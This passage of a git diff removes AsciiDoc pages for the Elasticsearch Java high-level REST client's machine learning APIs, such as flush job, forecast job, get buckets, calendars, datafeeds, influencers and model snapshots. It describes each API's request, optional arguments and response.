-:request: FindFileStructureRequest
-:response: FindFileStructureResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Find file structure API
-
-experimental::[]
-
-Determines the structure of a text file and other information that will be
-useful to import its contents to an {es} index. It accepts a +{request}+ object
-and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Find file structure request
-
-A sample from the beginning of the file (or the entire file contents if
-it's small) must be added to the +{request}+ object using the
-`FindFileStructureRequest#setSample` method.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Create a new `FindFileStructureRequest` object
-<2> Add the contents of `anInterestingFile` to the request
-
-==== Optional arguments
-
-The following arguments are optional.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-options]
---------------------------------------------------
-<1> Set the maximum number of lines to sample (the entire sample will be
-    used if it contains fewer lines)
-<2> Request that an explanation of the analysis be returned in the response
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Find file structure response
-
-A +{response}+ contains information about the file structure,
-as well as mappings and an ingest pipeline that could be used
-to index the contents into {es}.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The `FileStructure` object contains the structure information
diff --git a/docs/java-rest/high-level/ml/flush-job.asciidoc b/docs/java-rest/high-level/ml/flush-job.asciidoc
deleted file mode 100644
index cc2dd11268c..00000000000
--- a/docs/java-rest/high-level/ml/flush-job.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
---
-:api: flush-job
-:request: FlushJobRequest
-:response: FlushJobResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Flush jobs API
-
-Flushes an anomaly detection job's datafeed in the cluster.
-It accepts a +{request}+ object and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Flush jobs request
-
-A +{request}+ object gets created with an existing non-null `jobId`.
-All other fields are optional for the request.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing an existing `jobId`
-
-==== Optional arguments
-
-The following arguments are optional.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-options]
---------------------------------------------------
-<1> Set request to calculate the interim results
-<2> Set the advanced time to flush to the particular time value
-<3> Set the start time for the range of buckets on which
-to calculate the interim results (requires `calc_interim` to be `true`)
-<4> Set the end time for the range of buckets on which
-to calculate interim results (requires `calc_interim` to be `true`)
-<5> Set the skip time to skip a particular time value
-
-[id="{upid}-{api}-response"]
-==== Flush jobs response
-
-A +{response}+ contains an acknowledgement and an optional end date for the
-last finalized bucket
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `isFlushed()` indicates if the job was successfully flushed or not.
-<2> `getLastFinalizedBucketEnd()` provides the timestamp
-(in milliseconds-since-the-epoch) of the end of the last bucket that was processed.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/forecast-job.asciidoc b/docs/java-rest/high-level/ml/forecast-job.asciidoc
deleted file mode 100644
index 3cd4a263c5c..00000000000
--- a/docs/java-rest/high-level/ml/forecast-job.asciidoc
+++ /dev/null
@@ -1,52 +0,0 @@
---
-:api: forecast-job 
-:request: ForecastJobRequest
-:response: ForecastJobResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Forecast jobs API
-
-Forecasts a {ml} job's behavior based on historical data. It accepts a
-+{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Forecast jobs request
-
-A +{request}+ object gets created with an existing non-null `jobId`.
-All other fields are optional for the request.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing an existing `jobId`
-
-==== Optional arguments
-
-The following arguments are optional.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-options]
---------------------------------------------------
-<1> Set when the forecast for the job should expire
-<2> Set how far into the future should the forecast predict
-<3> Set the maximum amount of memory the forecast is allowed to use.
-    Defaults to 20mb. Maximum is 500mb, minimum is 1mb. If set to
-    40% or more of the job's configured memory limit, it is
-    automatically reduced to below that number.
-
-[id="{upid}-{api}-response"]
-==== Forecast jobs response
-
-A +{response}+ contains an acknowledgement and the forecast ID
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `isAcknowledged()` indicates if the forecast was successful
-<2> `getForecastId()` provides the ID of the forecast that was created
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/get-buckets.asciidoc b/docs/java-rest/high-level/ml/get-buckets.asciidoc
deleted file mode 100644
index 14c9406969e..00000000000
--- a/docs/java-rest/high-level/ml/get-buckets.asciidoc
+++ /dev/null
@@ -1,95 +0,0 @@
---
-:api: get-buckets 
-:request: GetBucketsRequest
-:response: GetBucketsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get buckets API
-
-Retrieves one or more bucket results.
-It accepts a +{request}+ object and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Get buckets request
-
-A +{request}+ object gets created with an existing non-null `jobId`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing an existing `jobId`.
-
-==== Optional arguments
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-timestamp]
---------------------------------------------------
-<1> The timestamp of the bucket to get. Otherwise it will return all buckets.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-anomaly-score]
---------------------------------------------------
-<1> Buckets with anomaly scores greater or equal than this value will be returned.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-desc]
---------------------------------------------------
-<1> If `true`, the buckets are sorted in descending order. Defaults to `false`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-end]
---------------------------------------------------
-<1> Buckets with timestamps earlier than this time will be returned.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-exclude-interim]
---------------------------------------------------
-<1> If `true`, interim results will be excluded. Defaults to `false`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-expand]
---------------------------------------------------
-<1> If `true`, buckets will include their anomaly records. Defaults to `false`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-page]
---------------------------------------------------
-<1> The page parameters `from` and `size`. `from` specifies the number of buckets to skip.
-`size` specifies the maximum number of buckets to get. Defaults to `0` and `100` respectively.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-sort]
---------------------------------------------------
-<1> The field to sort buckets on. Defaults to `timestamp`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-start]
---------------------------------------------------
-<1> Buckets with timestamps on or after this time will be returned.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get buckets response
-
-The returned +{response}+ contains the requested buckets:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The count of buckets that were matched.
-<2> The buckets retrieved.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/get-calendar-events.asciidoc b/docs/java-rest/high-level/ml/get-calendar-events.asciidoc
deleted file mode 100644
index 0a687517431..00000000000
--- a/docs/java-rest/high-level/ml/get-calendar-events.asciidoc
+++ /dev/null
@@ -1,67 +0,0 @@
---
-:api: get-calendar-events
-:request: GetCalendarEventsRequest
-:response: GetCalendarEventsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get calendar events API
-
-Retrieves a calendar's events.
-It accepts a +{request}+ and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Get calendar events request
-
-A +{request}+ requires a non-null calendar ID.
-Using the literal `_all` returns the events for all calendars.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request for the specified calendarId.
-
-==== Optional arguments
-The following arguments are optional:
-
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-page]
---------------------------------------------------
-<1> The page parameters `from` and `size`. `from` specifies the number of events to skip.
-`size` specifies the maximum number of events to get. Defaults to `0` and `100` respectively.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-start]
---------------------------------------------------
-<1> Specifies to get events with timestamps after this time.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-end]
---------------------------------------------------
-<1> Specifies to get events with timestamps earlier than this time.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-jobid]
---------------------------------------------------
-<1> Get events for the job. When this option is used calendar_id must be `_all`.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get calendar events response
-
-The returned +{response}+ contains the requested events:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The count of events that were matched.
-<2> The events retrieved.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/get-calendars.asciidoc b/docs/java-rest/high-level/ml/get-calendars.asciidoc
deleted file mode 100644
index a2e30ce9394..00000000000
--- a/docs/java-rest/high-level/ml/get-calendars.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
---
-:api: get-calendars 
-:request: GetCalendarsRequest
-:response: GetCalendarsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get calendars API
-
-Retrieves one or more calendar objects.
-It accepts a +{request}+ and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Get calendars request
-
-By default, a +{request}+ with no calendar ID set will return all
-calendars. Using the literal `_all` also returns all calendars.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request for all calendars. 
-
-==== Optional arguments
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-id]
---------------------------------------------------
-<1> Construct a request for the single calendar `holidays`.
-
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-page]
---------------------------------------------------
-<1> The page parameters `from` and `size`. `from` specifies the number of
-calendars to skip. `size` specifies the maximum number of calendars to get.
-Defaults to `0` and `100` respectively.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get calendars response
-
-The returned +{response}+ contains the requested calendars:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The count of calendars that were matched.
-<2> The calendars retrieved.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/get-categories.asciidoc b/docs/java-rest/high-level/ml/get-categories.asciidoc
deleted file mode 100644
index bcb5ed89253..00000000000
--- a/docs/java-rest/high-level/ml/get-categories.asciidoc
+++ /dev/null
@@ -1,53 +0,0 @@
---
-:api: get-categories
-:request: GetCategoriesRequest
-:response: GetCategoriesResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get categories API
-
-Retrieves one or more category results.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Get categories request
-
-A +{request}+ object gets created with an existing non-null `jobId`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing an existing `jobId`.
-
-==== Optional arguments
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-category-id]
---------------------------------------------------
-<1> The ID of the category to get. Otherwise, it will return all categories.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-page]
---------------------------------------------------
-<1> The page parameters `from` and `size`. `from` specifies the number of
-categories to skip. `size` specifies the maximum number of categories to get.
-Defaults to `0` and `100` respectively.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get categories response
-
-The returned +{response}+ contains the requested categories:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The count of categories that were matched.
-<2> The categories retrieved.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/get-data-frame-analytics-stats.asciidoc b/docs/java-rest/high-level/ml/get-data-frame-analytics-stats.asciidoc
deleted file mode 100644
index 98fa1815478..00000000000
--- a/docs/java-rest/high-level/ml/get-data-frame-analytics-stats.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
---
-:api: get-data-frame-analytics-stats
-:request: GetDataFrameAnalyticsStatsRequest
-:response: GetDataFrameAnalyticsStatsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get {dfanalytics-jobs} stats API
-
-experimental::[]
-
-Retrieves the operational statistics of one or more {dfanalytics-jobs}.
-The API accepts a +{request}+ object and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Get {dfanalytics-jobs} stats request
-
-A +{request}+ requires either a {dfanalytics-job} ID, a comma-separated list of
-IDs, or the special wildcard `_all` to get the statistics for all
-{dfanalytics-jobs}.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new GET stats request referencing an existing
-{dfanalytics-job}
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the requested {dfanalytics-job} statistics.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/get-data-frame-analytics.asciidoc b/docs/java-rest/high-level/ml/get-data-frame-analytics.asciidoc
deleted file mode 100644
index 20684c0d020..00000000000
--- a/docs/java-rest/high-level/ml/get-data-frame-analytics.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
---
-:api: get-data-frame-analytics
-:request: GetDataFrameAnalyticsRequest
-:response: GetDataFrameAnalyticsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get {dfanalytics-jobs} API
-
-experimental::[]
-
-Retrieves one or more {dfanalytics-jobs}.
-The API accepts a +{request}+ object and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Get {dfanalytics-jobs} request
-
-A +{request}+ requires either a {dfanalytics-job} ID, a comma-separated list of
-IDs, or the special wildcard `_all` to get all {dfanalytics-jobs}.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new GET request referencing an existing {dfanalytics-job}
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the requested {dfanalytics-jobs}.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/ml/get-datafeed-stats.asciidoc b/docs/java-rest/high-level/ml/get-datafeed-stats.asciidoc
deleted file mode 100644
index 16055098162..00000000000
--- a/docs/java-rest/high-level/ml/get-datafeed-stats.asciidoc
+++ /dev/null
@@ -1,40 +0,0 @@
---
-:api: get-datafeed-stats
-:request: GetDatafeedStatsRequest
-:response: GetDatafeedStatsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get datafeed stats API
-
-Retrieves any number of {ml} datafeeds' statistics in the cluster.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Get datafeed stats request
-
-A +{request}+ object can have any number of `datafeedId` entries. However, they
-all must be non-null. An empty list is the same as requesting statistics for all
-datafeeds.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing existing `datafeedIds`. It can
-contain wildcards.
-<2> Whether to ignore if a wildcard expression matches no datafeeds.
- (This includes `_all` string or when no datafeeds have been specified).
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get datafeed stats response
-The returned +{response}+ contains the requested datafeed statistics:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `count()` indicates the number of datafeeds statistics found.
-<2> `datafeedStats()` is the collection of {ml} `DatafeedStats` objects found.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/get-datafeed.asciidoc b/docs/java-rest/high-level/ml/get-datafeed.asciidoc
deleted file mode 100644
index a0ca8f29756..00000000000
--- a/docs/java-rest/high-level/ml/get-datafeed.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
---
-:api: get-datafeed
-:request: GetDatafeedRequest
-:response: GetDatafeedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get datafeeds API
-
-Retrieves configuration information about {ml} datafeeds in the cluster.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Get datafeeds request
-
-A +{request}+ object gets can have any number of `datafeedId` entries. However,
-they all must be non-null. An empty list is the same as requesting for all
-datafeeds.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing existing `datafeedIds`. It can
-contain wildcards.
-<2> Whether to ignore if a wildcard expression matches no datafeeds.
- (This includes `_all` string or when no datafeeds have been specified).
-
-[id="{upid}-{api}-response"]
-==== Get datafeeds response
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The count of retrieved datafeeds.
-<2> The retrieved datafeeds.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/get-filters.asciidoc b/docs/java-rest/high-level/ml/get-filters.asciidoc
deleted file mode 100644
index 5d33e1e2d19..00000000000
--- a/docs/java-rest/high-level/ml/get-filters.asciidoc
+++ /dev/null
@@ -1,52 +0,0 @@
---
-:api: get-filters
-:request: GetFiltersRequest
-:response: GetFiltersResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get filters API
-
-Retrieves one or more filter results.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Get filters request
-
-A +{request}+ object gets created.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request.
-
-==== Optional arguments
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-filter-id]
---------------------------------------------------
-<1> The ID of the filter to get. Otherwise, it will return all filters.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-page-params]
---------------------------------------------------
-<1> `from` specifies the number of filters to skip. Defaults to `0`.
-<2> `size` specifies the maximum number of filters to get. Defaults to `100`.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get filters response
-
-The returned +{response}+ contains the requested filters:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The count of filters that were matched.
-<2> The filters retrieved.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/get-influencers.asciidoc b/docs/java-rest/high-level/ml/get-influencers.asciidoc
deleted file mode 100644
index 9096a103911..00000000000
--- a/docs/java-rest/high-level/ml/get-influencers.asciidoc
+++ /dev/null
@@ -1,84 +0,0 @@
---
-:api: get-influencers
-:request: GetInfluencersRequest
-:response: GetInfluencersResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get influencers API
-
-Retrieves one or more influencer results.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Get influencers request
-
-A +{request}+ object gets created with an existing non-null `jobId`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing an existing `jobId`.
-
-==== Optional arguments
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-desc]
---------------------------------------------------
-<1> If `true`, the influencers are sorted in descending order. Defaults to `false`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-end]
---------------------------------------------------
-<1> Influencers with timestamps earlier than this time will be returned.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-exclude-interim]
---------------------------------------------------
-<1> If `true`, interim results will be excluded. Defaults to `false`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-influencer-score]
---------------------------------------------------
-<1> Influencers with `influencer_score` greater than or equal to this value will
-be returned.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-page]
---------------------------------------------------
-<1> The page parameters `from` and `size`. `from` specifies the number of
-influencers to skip. `size` specifies the maximum number of influencers to get.
-Defaults to `0` and `100` respectively.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-sort]
---------------------------------------------------
-<1> The field to sort influencers on. Defaults to `influencer_score`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-start]
---------------------------------------------------
-<1> Influencers with timestamps on or after this time will be returned.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get influencers response
-
-The returned +{response}+ contains the requested influencers:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The count of influencers that were matched.
-<2> The influencers retrieved.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/get-info.asciidoc b/docs/java-rest/high-level/ml/get-info.asciidoc
deleted file mode 100644
index 662a007f293..00000000000
--- a/docs/java-rest/high-level/ml/get-info.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
---
-:api: get-ml-info
-:request: MlInfoRequest
-:response: MlInfoResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get {ml} info API
-
-Provides defaults and limits used internally by {ml}.
-These may be useful to a user interface that needs to interpret machine learning
-configurations where certain fields are missing because the end user was happy
-with the default value.
-
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Get {ml} info request
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request.
-
-[id="{upid}-{api}-response"]
-==== Get {ml} info response
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `info` from the +{response}+ contains {ml} info details.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/get-job-stats.asciidoc b/docs/java-rest/high-level/ml/get-job-stats.asciidoc
deleted file mode 100644
index cc391cace7f..00000000000
--- a/docs/java-rest/high-level/ml/get-job-stats.asciidoc
+++ /dev/null
@@ -1,40 +0,0 @@
---
-:api: get-job-stats
-:request: GetJobStatsRequest
-:response: GetJobStatsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get {anomaly-job} stats API
-
-Retrieves statistics for any number of {anomaly-jobs} in the cluster.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Get {anomaly-job} stats request
-
-A `GetJobsStatsRequest` object can have any number of `jobId`
-entries. However, they all must be non-null. An empty list is the same as
-requesting statistics for all {anomaly-jobs}.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing existing `jobIds`. It can contain
-wildcards.
-<2> Whether to ignore if a wildcard expression matches no {anomaly-jobs}.
- (This includes `_all` string or when no jobs have been specified).
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get {anomaly-job} stats response
-The returned +{response}+ contains the requested job statistics:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `getCount()` indicates the number of jobs statistics found.
-<2> `getJobStats()` is the collection of {ml} `JobStats` objects found.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/get-job.asciidoc b/docs/java-rest/high-level/ml/get-job.asciidoc
deleted file mode 100644
index 3fde9b98f31..00000000000
--- a/docs/java-rest/high-level/ml/get-job.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
---
-:api: get-job
-:request: GetJobRequest
-:response: GetJobResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get {anomaly-jobs} API
-
-Retrieves configuration information for {anomaly-jobs} in the cluster.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Get {anomaly-jobs} request
-
-A +{request}+ object gets can have any number of `jobId` or `groupName`
-entries. However, they all must be non-null. An empty list is the same as
-requesting for all {anomaly-jobs}.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing existing `jobIds`. It can contain
-wildcards.
-<2> Whether to ignore if a wildcard expression matches no {anomaly-jobs}.
- (This includes `_all` string or when no jobs have been specified).
-
-[id="{upid}-{api}-response"]
-==== Get {anomaly-jobs} response
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `getCount()` from the +{response}+ indicates the number of jobs found.
-<2> `getJobs()` is the collection of {ml} `Job` objects found.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/get-model-snapshots.asciidoc b/docs/java-rest/high-level/ml/get-model-snapshots.asciidoc
deleted file mode 100644
index d0cc7a3887f..00000000000
--- a/docs/java-rest/high-level/ml/get-model-snapshots.asciidoc
+++ /dev/null
@@ -1,77 +0,0 @@
---
-:api: get-model-snapshots
-:request: GetModelSnapshotsRequest
-:response: GetModelSnapshotsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get model snapshots API
-
-Retrieves one or more model snapshot results.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Get model snapshots request
-
-A +{request}+ object gets created with an existing non-null `jobId`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing an existing `jobId`.
-
-==== Optional arguments
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-snapshot-id]
---------------------------------------------------
-<1> The ID of the snapshot to get. Otherwise, it will return all snapshots.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-desc]
---------------------------------------------------
-<1> If `true`, the snapshots are sorted in descending order. Defaults to `false`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-end]
---------------------------------------------------
-<1> Snapshots with timestamps earlier than this time will be returned.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-sort]
---------------------------------------------------
-<1> The field to sort snapshots on. Defaults to `timestamp`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-start]
---------------------------------------------------
-<1> Snapshots with timestamps on or after this time will be returned.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-page]
---------------------------------------------------
-<1> The page parameters `from` and `size`. `from` specifies the number of
-snapshots to skip. `size` specifies the maximum number of snapshots to retrieve.
-Defaults to `0` and `100` respectively.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get model snapshots response
-
-The returned +{response}+ contains the requested snapshots:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
